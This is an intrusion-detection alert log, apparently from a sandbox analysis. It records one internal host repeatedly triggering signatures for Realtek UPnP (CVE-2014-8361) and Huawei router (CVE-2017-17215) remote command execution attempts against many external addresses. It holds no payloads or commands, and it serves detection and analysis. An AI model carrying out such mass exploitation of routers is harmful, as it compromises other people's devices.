ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.7.216.73

Timestamp:	07/20/24-23:01:43.044693
SID:	2027339
Source Port:	41638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.197.144

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	37952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.65.10.54

Timestamp:	07/20/24-23:01:24.877747
SID:	2835222
Source Port:	39132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.4.44.94

Timestamp:	07/20/24-23:01:10.600298
SID:	2025132
Source Port:	39780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 9.120.239.102

Timestamp:	07/20/24-23:01:02.046626
SID:	2829579
Source Port:	36256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.7.41.237

Timestamp:	07/20/24-23:01:43.944379
SID:	2027339
Source Port:	54670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.90.39.173

Timestamp:	07/20/24-23:01:08.590937
SID:	2027339
Source Port:	58384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.189.251.198

Timestamp:	07/20/24-23:01:41.987411
SID:	2027339
Source Port:	43042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.27.30.164

Timestamp:	07/20/24-23:02:07.969418
SID:	2025132
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.21.217.254

Timestamp:	07/20/24-23:01:46.212590
SID:	2027339
Source Port:	36886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.54.139.100

Timestamp:	07/20/24-23:01:45.010540
SID:	2027339
Source Port:	53462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.7.41.237

Timestamp:	07/20/24-23:01:43.324295
SID:	2025132
Source Port:	53764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.219.42.227

Timestamp:	07/20/24-23:01:04.742666
SID:	2027339
Source Port:	60858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.137.225.59

Timestamp:	07/20/24-23:01:12.807102
SID:	2831300
Source Port:	54648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.210.119.212

Timestamp:	07/20/24-23:01:46.292331
SID:	2027339
Source Port:	51002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.63.84.166

Timestamp:	07/20/24-23:01:12.806839
SID:	2027339
Source Port:	54258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.20.70.247

Timestamp:	07/20/24-23:01:08.613165
SID:	2027339
Source Port:	52830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 160.206.110.41

Timestamp:	07/20/24-23:01:54.246583
SID:	2025132
Source Port:	44988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.219.111.180

Timestamp:	07/20/24-23:01:54.957644
SID:	2831300
Source Port:	51404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 95.252.31.72

Timestamp:	07/20/24-23:01:59.855159
SID:	2025132
Source Port:	50424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.103.85.217

Timestamp:	07/20/24-23:01:41.380561
SID:	2025132
Source Port:	44798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.9.1.207

Timestamp:	07/20/24-23:01:42.313122
SID:	2831300
Source Port:	48484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.36.30.205

Timestamp:	07/20/24-23:01:21.909111
SID:	2835222
Source Port:	54320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.47.96

Timestamp:	07/20/24-23:01:07.004906
SID:	2835222
Source Port:	46974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.59.47.171

Timestamp:	07/20/24-23:01:51.790169
SID:	2831300
Source Port:	32904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 165.249.91.251

Timestamp:	07/20/24-23:01:40.301143
SID:	2829579
Source Port:	46342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.207.187.133

Timestamp:	07/20/24-23:01:08.572556
SID:	2831300
Source Port:	33738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.35.34.220

Timestamp:	07/20/24-23:01:42.839255
SID:	2831300
Source Port:	37964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.83.62.168

Timestamp:	07/20/24-23:01:41.270795
SID:	2027339
Source Port:	58370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.205.64.234

Timestamp:	07/20/24-23:01:13.628544
SID:	2025132
Source Port:	50292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.40.207.17

Timestamp:	07/20/24-23:02:05.476791
SID:	2025132
Source Port:	56214
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.9.1.207

Timestamp:	07/20/24-23:01:41.360320
SID:	2025132
Source Port:	47796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.30.181.131

Timestamp:	07/20/24-23:01:42.285526
SID:	2027339
Source Port:	55702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.142.123.85

Timestamp:	07/20/24-23:01:31.327540
SID:	2027339
Source Port:	57014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.237.7.212

Timestamp:	07/20/24-23:02:04.525064
SID:	2027339
Source Port:	38604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.250.155.116

Timestamp:	07/20/24-23:01:44.450410
SID:	2027339
Source Port:	48078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.147.20.129

Timestamp:	07/20/24-23:01:27.653028
SID:	2829579
Source Port:	33226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.21.137.98

Timestamp:	07/20/24-23:01:31.316196
SID:	2027339
Source Port:	59490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.24.233.14

Timestamp:	07/20/24-23:01:43.005974
SID:	2831300
Source Port:	56290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.30.132.8

Timestamp:	07/20/24-23:01:08.600114
SID:	2027339
Source Port:	38226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.101.155.227

Timestamp:	07/20/24-23:01:24.943244
SID:	2829579
Source Port:	47638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.241.189.22

Timestamp:	07/20/24-23:01:48.855306
SID:	2027339
Source Port:	59376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.206.228.107

Timestamp:	07/20/24-23:02:02.527007
SID:	2027339
Source Port:	47348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.196.31.139

Timestamp:	07/20/24-23:01:44.977483
SID:	2025132
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.230.247.23

Timestamp:	07/20/24-23:01:52.826575
SID:	2831300
Source Port:	42546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.47.237.221

Timestamp:	07/20/24-23:01:27.650975
SID:	2829579
Source Port:	57578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.196.31.124

Timestamp:	07/20/24-23:01:48.560945
SID:	2025132
Source Port:	49348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.167.238.210

Timestamp:	07/20/24-23:01:40.349275
SID:	2829579
Source Port:	40914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.227.52.7

Timestamp:	07/20/24-23:01:50.951743
SID:	2025132
Source Port:	39594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.214.148.214

Timestamp:	07/20/24-23:00:57.221735
SID:	2835222
Source Port:	47684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.4.61

Timestamp:	07/20/24-23:01:02.113054
SID:	2829579
Source Port:	44984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.0.169.170

Timestamp:	07/20/24-23:01:08.639622
SID:	2831300
Source Port:	57320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.213.208.19

Timestamp:	07/20/24-23:01:47.614619
SID:	2027339
Source Port:	37214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.187.182

Timestamp:	07/20/24-23:01:20.149798
SID:	2829579
Source Port:	60438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.73.178.106

Timestamp:	07/20/24-23:01:42.966087
SID:	2025132
Source Port:	42896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 98.247.239.87

Timestamp:	07/20/24-23:01:27.668073
SID:	2829579
Source Port:	56550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 160.192.28.117

Timestamp:	07/20/24-23:02:04.592319
SID:	2025132
Source Port:	52792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.145.135.61

Timestamp:	07/20/24-23:01:52.883801
SID:	2025132
Source Port:	55112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.31.108.66

Timestamp:	07/20/24-23:01:57.560388
SID:	2831300
Source Port:	50314
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 95.249.40.161

Timestamp:	07/20/24-23:02:03.987678
SID:	2025132
Source Port:	40410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 87.221.31.50

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	40920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.187.164.155

Timestamp:	07/20/24-23:01:31.974514
SID:	2829579
Source Port:	39410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.18.145.215

Timestamp:	07/20/24-23:01:41.372363
SID:	2025132
Source Port:	38322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.178.198.137

Timestamp:	07/20/24-23:02:08.090582
SID:	2025132
Source Port:	45838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.123.167

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	38312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.211.204.245

Timestamp:	07/20/24-23:01:31.326982
SID:	2027339
Source Port:	60500
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.215.201.153

Timestamp:	07/20/24-23:01:31.981855
SID:	2835222
Source Port:	49558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.210.224.238

Timestamp:	07/20/24-23:01:45.472422
SID:	2027339
Source Port:	51862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.80.10.211

Timestamp:	07/20/24-23:01:13.989215
SID:	2027339
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.56.95

Timestamp:	07/20/24-23:00:57.220817
SID:	2835222
Source Port:	48860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.249.16.252

Timestamp:	07/20/24-23:01:00.645051
SID:	2829579
Source Port:	46822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.144.227.253

Timestamp:	07/20/24-23:01:43.282556
SID:	2025132
Source Port:	45418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.192.144.142

Timestamp:	07/20/24-23:01:51.400635
SID:	2027339
Source Port:	54792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.250.162.49

Timestamp:	07/20/24-23:01:20.591324
SID:	2831300
Source Port:	43900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.0.100.142

Timestamp:	07/20/24-23:01:44.954688
SID:	2831300
Source Port:	33416
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.120.36.80

Timestamp:	07/20/24-23:01:53.475886
SID:	2025132
Source Port:	40972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.120.196.186

Timestamp:	07/20/24-23:01:20.599458
SID:	2027339
Source Port:	44618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.167.255.95

Timestamp:	07/20/24-23:01:46.562532
SID:	2027339
Source Port:	41584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.214.37

Timestamp:	07/20/24-23:01:31.976984
SID:	2829579
Source Port:	53324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.202.167.253

Timestamp:	07/20/24-23:02:27.457367
SID:	2831300
Source Port:	59562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.222.36.60

Timestamp:	07/20/24-23:01:41.956473
SID:	2831300
Source Port:	35810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.105.221.242

Timestamp:	07/20/24-23:01:42.406731
SID:	2027339
Source Port:	46448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.94.31.193

Timestamp:	07/20/24-23:01:43.243266
SID:	2025132
Source Port:	58200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.233.183.8

Timestamp:	07/20/24-23:02:07.698636
SID:	2027339
Source Port:	41422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.147.70.115

Timestamp:	07/20/24-23:01:45.092574
SID:	2025132
Source Port:	34552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.94.23.218

Timestamp:	07/20/24-23:01:07.018425
SID:	2835222
Source Port:	41338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.144.124.12

Timestamp:	07/20/24-23:01:25.965816
SID:	2027339
Source Port:	56820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.79.4

Timestamp:	07/20/24-23:01:00.633578
SID:	2829579
Source Port:	59562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.85.94.106

Timestamp:	07/20/24-23:01:40.310207
SID:	2829579
Source Port:	49548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 125.230.182.28

Timestamp:	07/20/24-23:00:57.221090
SID:	2835222
Source Port:	52728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.46.247.134

Timestamp:	07/20/24-23:01:50.955471
SID:	2027339
Source Port:	46232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.251.132.142

Timestamp:	07/20/24-23:01:48.413537
SID:	2027339
Source Port:	57454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.39.196

Timestamp:	07/20/24-23:01:20.132103
SID:	2835222
Source Port:	32866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.243.31.167

Timestamp:	07/20/24-23:01:50.845923
SID:	2027339
Source Port:	41810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.63.2.220

Timestamp:	07/20/24-23:01:12.807274
SID:	2831300
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.71.172.39

Timestamp:	07/20/24-23:01:52.992845
SID:	2027339
Source Port:	48958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.183.243.219

Timestamp:	07/20/24-23:01:34.044538
SID:	2829579
Source Port:	58422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.40.12

Timestamp:	07/20/24-23:01:07.033766
SID:	2829579
Source Port:	39600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.184.157.141

Timestamp:	07/20/24-23:01:43.239928
SID:	2027339
Source Port:	41740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

